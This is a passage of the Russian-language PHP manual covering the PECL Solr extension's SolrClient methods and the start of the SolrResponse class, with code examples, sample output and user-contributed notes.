'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$doc2 = clone $doc;

$doc2->deleteField('id');
$doc2->addField('id', 334456);

$docs = array($doc, $doc2);

$updateResponse = $client->addDocuments($docs);

// никакие изменения не будут записаны на диск, если не будет передан $commitWithin или не будет вызван SolrClient::commit

print_r($updateResponse->getResponse());

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 2
        )

)

Смотрите также

  • SolrClient::addDocument() - Добавляет документ в индекс
  • SolrClient::commit() - Завершает все добавления/удаления, сделанные в индексе

User Contributed Notes

bjorn at bjorn-erik dot biz 23-Sep-2010 06:07
If you want to add a bunch of documents from a database, this would be the way to go, assuming you have fetched the records from the database and put them in an array called $recordset:

<?php
foreach ($recordset as $key=>$value){
   $docs_array[$key] = new SolrInputDocument();
   $docs_array[$key]->addField('id', $value['document_id']);
   $docs_array[$key]->addField('name',$value['document_name']);
}
$client->addDocuments($docs_array);
?>


Завершает все добавления/удаления, сделанные в индексе

  • « SolrClient::addDocuments
  • SolrClient::__construct »
  • PHP Manual
  • SolrClient
  • Завершает все добавления/удаления, сделанные в индексе

SolrClient::commit

(PECL solr >= 0.9.2)

SolrClient::commit — Завершает все добавления/удаления, сделанные в индексе

Описание

public SolrClient::commit(bool $softCommit = false, bool $waitSearcher = true, bool $expungeDeletes = false): SolrUpdateResponse

Метод завершает все добавления/удаления, сделанные в индексе.

Список параметров

softCommit

Обновляет 'view' индекса более производительно, но без гарантий 'on-disk'. (Solr4.0+)

Мягкая фиксация выполняется намного быстрее, поскольку она делает видимыми только изменения индекса, а не файлы индекса fsync и не записывает новый дескриптор индекса. В случае сбоя JVM или потери питания изменения, произошедшие после последней жёсткой фиксации, будут потеряны. Коллекции поиска, которые имеют требования к работе в режиме, близком к реальному времени (которые хотят, чтобы изменения индекса были быстро видны для поиска), захотят чаще выполнять мягкую фиксацию, а жёсткую фиксацию реже.

waitSearcher

Блокировать до тех пор, пока не откроется новая поисковая система и не будет зарегистрирована как основная поисковая система, сделав изменения видимыми.

expungeDeletes

Объединить сегменты с удалениями. (Solr1.4 +)

Возвращаемые значения

Возвращает объект SolrUpdateResponse или выбрасывает исключение в случае возникновения ошибки.

Ошибки

Выбрасывает SolrClientException, если клиент отказал или возникла проблема с подключением.

Выбрасывает SolrServerException, если сервер Solr не смог обработать запрос.

Список изменений

Версия | Описание
PECL solr 1.1.0, 2.0.0 | Удалён $maxSegments
PECL solr 2.0.0b | Изменения API: SolrClient::commit ([ int $maxSegments = 0 [, bool $softCommit = false [, bool $waitSearcher = true[, bool $expungeDeletes = false ]]] )
PECL solr 0.9.2 | Сигнатура: SolrClient::commit ([ int $maxSegments = 1 [, bool $waitFlush = true [, bool $waitSearcher = true ]]] ). $waitFlush: Блокировать, пока изменения индекса не будут сброшены на диск.

Примечания

Внимание

PECL Solr >= 2.0 поддерживает только Solr Server >= 4.0

Смотрите также

  • SolrClient::optimize() - Дефрагментирует индекс
  • SolrClient::rollback() - Откатывает все добавления/удаления, сделанные в индекс с момента последней фиксации

User Contributed Notes

jason at jasonplayne dot com 03-Jan-2013 05:53
Go easy on your use of commit - use the <autocommit /> section solrconfig.xml instead.

Also consider using optimize() once a day if you are doing lots of adds/removes.


Конструктор объекта SolrClient

  • « SolrClient::commit
  • SolrClient::deleteById »
  • PHP Manual
  • SolrClient
  • Конструктор объекта SolrClient

SolrClient::__construct

(PECL solr >= 0.9.2)

SolrClient::__construct — Конструктор объекта SolrClient

Описание

public SolrClient::__construct(array $clientOptions)

Конструктор объекта SolrClient

Список параметров

clientOptions

Массив, содержащий один из следующих ключей:

- secure          (Логическое значение, указывающее, следует ли подключаться в безопасном режиме)
 - hostname        (Имя хоста для сервера Solr)
 - port            (Номер порта)
 - path            (Путь к Solr)
 - wt              (Имя автора ответа, например xml, json)
 - login           (Имя пользователя, используемое для HTTP-аутентификации, если есть)
 - password        (Пароль HTTP-аутентификации)
 - proxy_host      (Имя хоста для прокси-сервера, если есть)
 - proxy_port      (Порт прокси)
 - proxy_login     (Имя пользователя прокси)
 - proxy_password  (Пароль прокси)
 - timeout         (Максимальное время в секундах, разрешённое для операции передачи данных http. По умолчанию 30 секунд)
 - ssl_cert        (Имя файла в формате PEM, содержащем закрытый ключ + закрытый сертификат (объединённые в этом порядке))
 - ssl_key         (Имя файла только для файла закрытого ключа в формате PEM)
 - ssl_keypassword (Пароль для закрытого ключа)
 - ssl_cainfo      (Имя файла, содержащего один или несколько сертификатов CA для проверки однорангового узла)
 - ssl_capath      (Имя каталога, содержащего несколько сертификатов CA для проверки однорангового узла)

 Обратите внимание: если файл ssl_cert содержит только частный сертификат, вам необходимо указать отдельный файл ssl_key.

 Параметр ssl_keypassword необходим, если установлены параметры ssl_cert или ssl_key.

Ошибки

Выбрасывает SolrIllegalArgumentException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SolrClient::__construct()

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_PATH_TO_SOLR,
'wt' => 'xml',
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

?>

Вывод приведённого примера будет похож на:

Смотрите также

  • SolrClient::getOptions() - Возвращает внутренние параметры клиента
    •

User Contributed Notes

   edwardtam at et-it dot net
   12-Aug-2015 07:50

you can use 'path' to specify the 'core'.

<?php

    $core = 'dictionary';

    $solr_server = array

    (

        'hostname'     => 'localhost',

        'port'         => '8983',

        'path'         => 'solr/' . $core,

    );

    $solr_client = new SolrClient($solr_server);

?>


Удаляет по идентификатору

  • « SolrClient::__construct
  • SolrClient::deleteByIds »
  • PHP Manual
  • SolrClient
  • Удаляет по идентификатору

SolrClient::deleteById

(PECL solr >= 0.9.2)

SolrClient::deleteById — Удаляет по идентификатору

Описание

public SolrClient::deleteById(string $id): SolrUpdateResponse

Удаляет документ с указанным идентификатором. Где ID - значение поля uniqueKey, объявленного в схеме.

Список параметров

id

Значение поля uniqueKey, объявленное в схеме

Возвращаемые значения

Возвращает объект SolrUpdateResponse или выбрасывает исключение в случае возникновения ошибки.

Ошибки

Выбрасывает SolrClientException, если клиент отказал или возникла проблема с подключением.

Выбрасывает SolrServerException, если сервер Solr не смог обработать запрос.

Смотрите также

  • SolrClient::deleteByIds() - Удаляет по идентификаторам
  • SolrClient::deleteByQuery() - Удаляет все документы, соответствующие заданному запросу
  • SolrClient::deleteByQueries() - Удаляет все документы, соответствующие любому из запросов

User Contributed Notes

litzinger at gmail dot com 22-Aug-2011 02:47
May need to run commit() after a delete query.

<?php
$this->solrClient->deleteByQuery('id:'.$entryId);
$result = $this->solrClient->commit();
?>


Удаляет по идентификаторам

  • « SolrClient::deleteById
  • SolrClient::deleteByQueries »
  • PHP Manual
  • SolrClient
  • Удаляет по идентификаторам

SolrClient::deleteByIds

(PECL solr >= 0.9.2)

SolrClient::deleteByIds — Удаляет по идентификаторам

Описание

public SolrClient::deleteByIds(array $ids): SolrUpdateResponse

Удаляет набор документов с указанным набором идентификаторов.

Список параметров

ids

Массив идентификаторов, представляющих поле uniqueKey, объявленное в схеме для каждого удаляемого документа. Должна быть фактическая переменная php.

Возвращаемые значения

Возвращает объект SolrUpdateResponse или выбрасывает исключение в случае возникновения ошибки.

Ошибки

Выбрасывает SolrClientException, если клиент отказал или возникла проблема с подключением.

Выбрасывает SolrServerException, если сервер Solr не смог обработать запрос.

Смотрите также

  • SolrClient::deleteById() - Удаляет по идентификатору
  • SolrClient::deleteByQuery() - Удаляет все документы, соответствующие заданному запросу
  • SolrClient::deleteByQueries() - Удаляет все документы, соответствующие любому из запросов

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все документы, соответствующие любому из запросов

  • « SolrClient::deleteByIds
  • SolrClient::deleteByQuery »
  • PHP Manual
  • SolrClient
  • Удаляет все документы, соответствующие любому из запросов

SolrClient::deleteByQueries

(PECL solr >= 0.9.2)

SolrClient::deleteByQueries — Удаляет все документы, соответствующие любому из запросов

Описание

public SolrClient::deleteByQueries(array $queries): SolrUpdateResponse

Удаляет все документы, соответствующие любому из запросов

Список параметров

queries

Массив запросов. Это должна быть фактическая переменная php.

Возвращаемые значения

Возвращает SolrUpdateResponse в случае успешного выполнения и выбрасывает SolrClientException в случае возникновения ошибки.

Ошибки

Выбрасывает SolrClientException, если клиент отказал или возникла проблема с подключением.

Выбрасывает SolrServerException, если сервер Solr не смог обработать запрос.

Смотрите также

  • SolrClient::deleteById() - Удаляет по идентификатору
  • SolrClient::deleteByIds() - Удаляет по идентификаторам
  • SolrClient::deleteByQuery() - Удаляет все документы, соответствующие заданному запросу

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все документы, соответствующие заданному запросу

  • « SolrClient::deleteByQueries
  • SolrClient::__destruct »
  • PHP Manual
  • SolrClient
  • Удаляет все документы, соответствующие заданному запросу

SolrClient::deleteByQuery

(PECL solr >= 0.9.2)

SolrClient::deleteByQuery — Удаляет все документы, соответствующие заданному запросу

Описание

public SolrClient::deleteByQuery(string $query): SolrUpdateResponse

Удаляет все документы, соответствующие заданному запросу.

Список параметров

query

Запрос

Возвращаемые значения

Возвращает объект SolrUpdateResponse или выбрасывает исключение в случае возникновения ошибки.

Ошибки

Выбрасывает SolrClientException, если клиент отказал или возникла проблема с подключением.

Выбрасывает SolrServerException, если сервер Solr не смог обработать запрос.

Примеры

Пример #1 Пример использования SolrQuery::deleteByQuery()

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

//Это сотрёт весь индекс
$client->deleteByQuery("*:*");
$client->commit();

?>

Смотрите также

  • SolrClient::deleteById() - Удаляет по идентификатору
  • SolrClient::deleteByIds() - Удаляет по идентификаторам
  • SolrClient::deleteByQueries() - Удаляет все документы, соответствующие любому из запросов

User Contributed Notes

There are no user contributed notes for this page.


Деструктор SolrClient

  • « SolrClient::deleteByQuery
  • SolrClient::getById »
  • PHP Manual
  • SolrClient
  • Деструктор SolrClient

SolrClient::__destruct

(PECL solr >= 0.9.2)

SolrClient::__destruct — Деструктор SolrClient

Описание

public SolrClient::__destruct()

Деструктор

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Деструктор SolrClient

Смотрите также

  • SolrClient::__construct() - Конструктор объекта SolrClient

User Contributed Notes

There are no user contributed notes for this page.


Получает документ по идентификатору. Использует Solr Realtime Get (RTG)

  • « SolrClient::__destruct
  • SolrClient::getByIds »
  • PHP Manual
  • SolrClient
  • Получает документ по идентификатору. Использует Solr Realtime Get (RTG)

SolrClient::getById

(PECL solr >= 2.2.0)

SolrClient::getById — Получает документ по идентификатору. Использует Solr Realtime Get (RTG)

Описание

public SolrClient::getById(string $id): SolrQueryResponse

Получает документ по идентификатору. Использует Solr Realtime Get (RTG)

Список параметров

id

ID документа

Возвращаемые значения

SolrQueryResponse

Примеры

Пример #1 Пример использования SolrClient::getById()

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_PATH
);

$client = new SolrClient($options);
$response = $client->getById('GB18030TEST');
print_r($response->getResponse());

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [doc] => SolrObject Object
        (
            [id] => GB18030TEST
            [name] => Array
                (
                    [0] => Test with some GB18030 encoded characters
                )

            [features] => Array
                (
                    [0] => No accents here
                    [1] => ??????
                    [2] => This is a feature (translated)
                    [3] => ?????????
                    [4] => This document is very shiny (translated)
                )

            [price] => Array
                (
                    [0] => 0
                )

            [inStock] => Array
                (
                    [0] => 1
                )

            [_version_] => 1510294336239042560
        )

)

Смотрите также

  • SolrClient::getByIds() - Получает документы по их идентификаторам. Использует Solr Realtime Get (RTG)

User Contributed Notes

There are no user contributed notes for this page.


Получает документы по их идентификаторам. Использует Solr Realtime Get (RTG)

  • « SolrClient::getById
  • SolrClient::getDebug »
  • PHP Manual
  • SolrClient
  • Получает документы по их идентификаторам. Использует Solr Realtime Get (RTG)

SolrClient::getByIds

(PECL solr >= 2.2.0)

SolrClient::getByIds — Получает документы по их идентификаторам. Использует Solr Realtime Get (RTG)

Описание

public SolrClient::getByIds(array $ids): SolrQueryResponse

Получает документы по их идентификаторам. Использует Solr Realtime Get (RTG)

Список параметров

ids

ID документов

Возвращаемые значения

SolrQueryResponse

Примеры

Пример #1 Пример использования SolrClient::getByIds()

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_PATH
);

$client = new SolrClient($options);
$response = $client->getByIds(['GB18030TEST', '6H500F0']);

print_r($response->getResponse());

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [response] => SolrObject Object
        (
            [numFound] => 2
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => GB18030TEST
                            [name] => Array
                                (
                                    [0] => Test with some GB18030 encoded characters
                                )

                            [features] => Array
                                (
                                    [0] => No accents here
                                    [1] => ??????
                                    [2] => This is a feature (translated)
                                    [3] => ?????????
                                    [4] => This document is very shiny (translated)
                                )

                            [price] => Array
                                (
                                    [0] => 0
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [_version_] => 1510294336239042560
                        )

                    [1] => SolrObject Object
                        (
                            [id] => 6H500F0
                            [name] => Array
                                (
                                    [0] => Maxtor DiamondMax 11 - hard drive - 500 GB - SATA-300
                                )

                            [manu] => Array
                                (
                                    [0] => Maxtor Corp.
                                )

                            [manu_id_s] => maxtor
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => SATA 3.0Gb/s, NCQ
                                    [1] => 8.5ms seek
                                    [2] => 16MB cache
                                )

                            [price] => Array
                                (
                                    [0] => 350
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 45.17614,-93.87341
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [_version_] => 1510294336449806336
                        )

                )

        )

)

Смотрите также

  • SolrClient::getById() - Получает документ по идентификатору. Использует Solr Realtime Get (RTG)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает данные отладки для последней попытки подключения

  • « SolrClient::getByIds
  • SolrClient::getOptions »
  • PHP Manual
  • SolrClient
  • Возвращает данные отладки для последней попытки подключения

SolrClient::getDebug

(PECL solr >= 0.9.7)

SolrClient::getDebug — Возвращает данные отладки для последней попытки подключения

Описание

public SolrClient::getDebug(): string

Возвращает данные отладки для последней попытки подключения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если нечего возвращать.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает внутренние параметры клиента

  • « SolrClient::getDebug
  • SolrClient::optimize »
  • PHP Manual
  • SolrClient
  • Возвращает внутренние параметры клиента

SolrClient::getOptions

(PECL solr >= 0.9.6)

SolrClient::getOptions — Возвращает внутренние параметры клиента

Описание

public SolrClient::getOptions(): array

Возвращает внутренние параметры клиента. Очень полезно для отладки. Возвращаемые значения доступны только для чтения и могут быть установлены только при создании экземпляра объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий все параметры для объекта SolrClient, установленные внутри.

Смотрите также

  • SolrClient::__construct() - Конструктор объекта SolrClient

User Contributed Notes

There are no user contributed notes for this page.


Дефрагментирует индекс

  • « SolrClient::getOptions
  • SolrClient::ping »
  • PHP Manual
  • SolrClient
  • Дефрагментирует индекс

SolrClient::optimize

(PECL solr >= 0.9.2)

SolrClient::optimize — Дефрагментирует индекс

Описание

public SolrClient::optimize(int $maxSegments = 1, bool $softCommit = true, bool $waitSearcher = true): SolrUpdateResponse

Дефрагментирует индекс для ускорения поиска.

Список параметров

maxSegments

Оптимизируется до максимального количества сегментов. Начиная с Solr 1.3

softCommit

Обновляет 'view' индекса более производительно, но без гарантий 'on-disk'. (Solr4.0+)

waitSearcher

Блокировать до тех пор, пока не откроется новая поисковая система и не будет зарегистрирована как основная поисковая система, сделав изменения видимыми.

Возвращаемые значения

Возвращает SolrUpdateResponse в случае успешного выполнения или выбрасывает исключение в случае возникновения ошибки.

Ошибки

Выбрасывает SolrClientException, если клиент отказал или возникла проблема с подключением.

Выбрасывает SolrServerException, если сервер Solr не смог обработать запрос.

Примечания

Внимание

PECL Solr >= 2.0 поддерживает только Solr Server >= 4.0

До PECL Solr 2.0 метод использовался для приёма аргументов "int $maxSegments, bool $waitFlush, bool $waitSearcher".

Смотрите также

  • SolrClient::commit() - Завершает все добавления/удаления, сделанные в индексе
  • SolrClient::rollback() - Откатывает все добавления/удаления, сделанные в индекс с момента последней фиксации

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, работает ли сервер Solr

  • « SolrClient::optimize
  • SolrClient::query »
  • PHP Manual
  • SolrClient
  • Проверяет, работает ли сервер Solr

SolrClient::ping

(PECL solr >= 0.9.2)

SolrClient::ping — Проверяет, работает ли сервер Solr

Описание

public SolrClient::ping(): SolrPingResponse

Проверяет, доступен ли ещё сервер Solr. Отправляет запрос HEAD на сервер Apache Solr.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект SolrPingResponse в случае успешного выполнения или выбрасывает исключение в случае возникновения ошибки.

Ошибки

Выбрасывает SolrClientException, если клиент отказал или возникла проблема с подключением.

Выбрасывает SolrServerException, если сервер Solr не смог обработать запрос.

Примеры

Пример #1 Пример использования SolrClient::ping()

<?php
$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$pingresponse = $client->ping();

?>

Вывод приведённого примера будет похож на:

User Contributed Notes

   ricardo at forleven dot com
   28-Jul-2017 04:39

class Search extends Solr

{

    protected $searchEngine;

    function __construct()

    {

        $this->searchEngine = $this->connect();

    }

    public function checkAlive()

    {

        $searchEngine = $this->searchEngine;

        if($searchEngine->ping())

        {

            return true;

        }

        else

        {

            return false;

        }

    }

}


Отправляет запрос на сервер

  • « SolrClient::ping
  • SolrClient::request »
  • PHP Manual
  • SolrClient
  • Отправляет запрос на сервер

SolrClient::query

(PECL solr >= 0.9.2)

SolrClient::query — Отправляет запрос на сервер

Описание

public SolrClient::query(SolrParams $query): SolrQueryResponse

Отправляет запрос на сервер.

Список параметров

query

Объект SolrParams. Для сложных запросов рекомендуется использовать SolrQuery.

Возвращаемые значения

Возвращает объект SolrQueryResponse в случае успешного выполнения или выбрасывает исключение в случае возникновения ошибки.

Ошибки

Выбрасывает SolrClientException, если клиент отказал или возникла проблема с подключением.

Выбрасывает SolrServerException, если сервер Solr не смог обработать запрос.

Примеры

Пример #1 Пример использования SolrClient::query()

<?php

$options = array
(
'hostname' => 'localhost',
'login' => 'username',
'password' => 'password',
'port' => '8983',
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response);

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 3
            [params] => SolrObject Object
                (
                    [fl] => cat,features,id,timestamp
                    [indent] => on
                    [start] => 0
                    [q] => lucene
                    [wt] => xml
                    [version] => 2.2
                    [rows] => 50
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 1
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => SOLR1000
                            [cat] => Array
                                (
                                    [0] => software
                                    [1] => search
                                )

                            [features] => Array
                                (
                                    [0] => Advanced Full-Text Search Capabilities using Lucene
                                    [1] => Optimized for High Volume Web Traffic
                                    [2] => Standards Based Open Interfaces - XML and HTTP
                                    [3] => Comprehensive HTML Administration Interfaces
                                    [4] => Scalability - Efficient Replication to other Solr Search Servers
                                    [5] => Flexible and Adaptable with XML configuration and Schema
                                    [6] => Good unicode support: hello (hello with an accent over the e)
                                )

                        )

                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


Отправляет необработанный запрос на обновление

  • « SolrClient::query
  • SolrClient::rollback »
  • PHP Manual
  • SolrClient
  • Отправляет необработанный запрос на обновление

SolrClient::request

(PECL solr >= 0.9.2)

SolrClient::request — Отправляет необработанный запрос на обновление

Описание

public SolrClient::request(string $raw_request): SolrUpdateResponse

Метод отправляет на сервер необработанный запрос на обновление XML-документа.

Список параметров

raw_request

Строка XML-документа с необработанным запросом к серверу.

Возвращаемые значения

Метод возвращает объект класса SolrUpdateResponse в случае успешного выполнения. Метод выбрасывает исключение, если возникла ошибка.

Ошибки

Метод выбрасывает исключение SolrIllegalArgumentException, если значение параметра raw_request — пустая строка.

Метод выбрасывает исключение SolrClientException, если клиент отказал или возникла проблема с подключением.

Метод выбрасывает исключение SolrServerException, если сервер Solr не смог обработать запрос.

Примеры

Пример #1 Пример использования метода SolrClient::request()

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$update_response = $client->request("<commit/>");

$response = $update_response->getResponse();

print_r($response);

?>

Вывод приведённого примера будет похож на:

...

User Contributed Notes

There are no user contributed notes for this page.


Откатывает все добавления/удаления, сделанные в индекс с момента последней фиксации

  • « SolrClient::request
  • SolrClient::setResponseWriter »
  • PHP Manual
  • SolrClient
  • Откатывает все добавления/удаления, сделанные в индекс с момента последней фиксации

SolrClient::rollback

(PECL solr >= 0.9.2)

SolrClient::rollback — Откатывает все добавления/удаления, сделанные в индекс с момента последней фиксации

Описание

public SolrClient::rollback(): SolrUpdateResponse

Откатывает все добавления/удаления, сделанные в индекс с момента последней фиксации. Он не вызывает никаких прослушивателей событий и не создаёт нового поисковика.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает SolrUpdateResponse в случае успешного выполнения или выбрасывает исключение SolrClientException в случае возникновения ошибки.

Смотрите также

  • SolrClient::commit() - Завершает все добавления/удаления, сделанные в индексе
  • SolrClient::optimize() - Дефрагментирует индекс

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает писатель ответа, используемый для подготовки ответа от Solr

  • « SolrClient::rollback
  • SolrClient::setServlet »
  • PHP Manual
  • SolrClient
  • Устанавливает писатель ответа, используемый для подготовки ответа от Solr

SolrClient::setResponseWriter

(PECL solr >= 0.9.11)

SolrClient::setResponseWriter — Устанавливает писатель ответа, используемый для подготовки ответа от Solr

Описание

public SolrClient::setResponseWriter(string $responseWriter): void

Устанавливает писатель ответа, используемый для подготовки ответа от Solr

Список параметров

responseWriter

Одно из следующих значений:

  • json
  • phps
  • xml

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SolrClient::setResponseWriter()

<?php

// Это мой собственный класс для объектов
class SolrClass
{
public $_properties = array();

public function __get($property_name) {

if (property_exists($this, $property_name)) {

return $this->$property_name;

} else if (isset($_properties[$property_name])) {

return $_properties[$property_name];
}

return null;
}
}

$options = array
(
'hostname' => 'localhost',
'port' => 8983,
'path' => '/solr/core1'
);

$client = new SolrClient($options);

$client->setResponseWriter("json");

//$response = $client->ping();

$query = new SolrQuery();

$query->setQuery("*:*");

$query->set("objectClassName", "SolrClass");

$query->set("objectPropertiesStorageMode", 1); // 0 для независимых объектов, 1 для совмещённых

try
{

$response = $client->query($query);

$resp = $response->getResponse();

print_r($response);

print_r($resp);

} catch (Exception $e) {

print_r($e);

}

?>

User Contributed Notes

edwardtam at et-it dot net 12-Aug-2015 07:44
i found that 'php' is also supported.

<?php
$solr_server = array
(
    'hostname'     => $solr_hostname,
    'port'         => $solr_port,
    'path'         => $solr_path,
);
$solr_client = new SolrClient($solr_server);

$solr_response_writer = 'php'; // "wt"
$solr_client->setResponseWriter($solr_response_writer);

$solr_response = new SolrObject();

$solr_query = new SolrQuery();
$solr_query->setQuery($solr_query_string); // "q"

try {
    $query_response = $solr_client->query($solr_query);
    $solr_response = $query_response->getResponse();
    return '';
} catch (Exception $e) {
    return ($e);
}
?>

php_error.log keeps on saying:

[12-Aug-2015 12:34:56 Asia/Hong_Kong] PHP Warning:  SolrClient::setResponseWriter(): Unsupported response writer php. This value will be ignored in C:\www\...\solr.php on line 21

but the returned data is good as expected:

<?php
$html .= '<table cellSpacing="1" cellPadding="1" border="1">';
$html .= '<tr>';
$html .= '<td>id</td>';
$html .= '<td>title</td>';
$html .= '<td>score</td>';
$html .= '</tr>';

for ($i_solr = 0; $i_solr <= ($solr_rows - 1); $i_solr++) {
    $html .= '<tr>';
    $html .= '<td>' . $solr_response['response']['docs'][$i_solr]['id'] . '</td>';
    $html .= '<td>' . $solr_response['response']['docs'][$i_solr]['title'][0] . '</td>';
    $html .= '<td>' . $solr_response['response']['docs'][$i_solr]['score'] . '</td>';
    $html .= '</tr>';
}
$html .= '</table>';
echo $html;
?>


Изменяет указанный тип сервлета на новое значение

  • « SolrClient::setResponseWriter
  • SolrClient::system »
  • PHP Manual
  • SolrClient
  • Изменяет указанный тип сервлета на новое значение

SolrClient::setServlet

(PECL solr >= 0.9.2)

SolrClient::setServlet — Изменяет указанный тип сервлета на новое значение

Описание

public SolrClient::setServlet(int $type, string $value): bool

Изменяет указанный тип сервлета на новое значение

Список параметров

type

Одно из следующих значений:

- SolrClient::SEARCH_SERVLET_TYPE
 - SolrClient::UPDATE_SERVLET_TYPE
 - SolrClient::THREADS_SERVLET_TYPE
 - SolrClient::PING_SERVLET_TYPE
 - SolrClient::TERMS_SERVLET_TYPE

value

Новое значение для сервлета

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о сервере Solr

  • « SolrClient::setServlet
  • SolrClient::threads »
  • PHP Manual
  • SolrClient
  • Получает информацию о сервере Solr

SolrClient::system

(PECL solr >= 2.0.0)

SolrClient::system — Получает информацию о сервере Solr

Описание

public SolrClient::system(): void

Получает информацию о сервере Solr

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект SolrGenericResponse в случае успешного выполнения.

Ошибки

Выбрасывает SolrClientException, если клиент отказал или возникла проблема с подключением.

Выбрасывает SolrServerException, если сервер Solr не смог обработать запрос.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет статус тем

  • « SolrClient::system
  • SolrResponse »
  • PHP Manual
  • SolrClient
  • Проверяет статус тем

SolrClient::threads

(PECL solr >= 0.9.2)

SolrClient::threads — Проверяет статус тем

Описание

public SolrClient::threads(): void

Проверяет статус тем

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект SolrGenericResponse.

Ошибки

Выбрасывает SolrClientException, если клиент отказал или возникла проблема с подключением.

Выбрасывает SolrServerException, если сервер Solr не смог обработать запрос.

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrResponse

(PECL solr >= 0.9.2)

Введение

Представляет ответ от сервера Solr.

Обзор классов

abstract class SolrResponse {
/* Константы */
const int PARSE_SOLR_OBJ = 0;
const int PARSE_SOLR_DOC = 1;
/* Свойства */
protected int $http_status;
protected int $parser_mode;
protected bool $success;
protected string $http_status_message;
protected string $http_request_url;
protected string $http_raw_request_headers;
protected string $http_raw_request;
protected string $http_raw_response_headers;
protected string $http_raw_response;
protected string $http_digested_response;
/* Методы */
public getDigestedResponse(): string
public getHttpStatus(): int
public getHttpStatusMessage(): string
public getRawRequest(): string
public getRawRequestHeaders(): string
public getRawResponse(): string
public getRawResponseHeaders(): string
public getRequestUrl(): string
public getResponse(): SolrObject
public setParseMode(int $parser_mode = 0): bool
public success(): bool
}

Свойства

http_status

HTTP-статус ответа.

parser_mode

Следует ли анализировать документы solr как экземпляры SolrObject или SolrDocument.

success

Была ли ошибка при запросе

http_status_message

Подробное сообщение о статусе http

http_request_url

URL запроса

http_raw_request_headers

Строка необработанных заголовков, отправленных во время запроса.

http_raw_request

Необработанный запрос, отправленный на сервер

http_raw_response_headers

Заголовки ответа от сервера Solr.

http_raw_response

Ответное сообщение от сервера.

http_digested_response

Ответ в сериализованном формате PHP.

Предопределённые константы

Константы класса SolrResponse

SolrResponse::PARSE_SOLR_OBJ

Документы следует анализировать как экземпляры SolrObject.

SolrResponse::PARSE_SOLR_DOC

Документы следует анализировать как экземпляры SolrDocument.

Содержание

  • SolrResponse::getDigestedResponse — Возвращает ответ XML как сериализованные данные PHP
  • SolrResponse::getHttpStatus — Возвращает HTTP-статус ответа
  • SolrResponse::getHttpStatusMessage — Возвращает более подробную информацию о статусе HTTP
  • SolrResponse::getRawRequest — Возвращает необработанный запрос, отправленный на сервер Solr
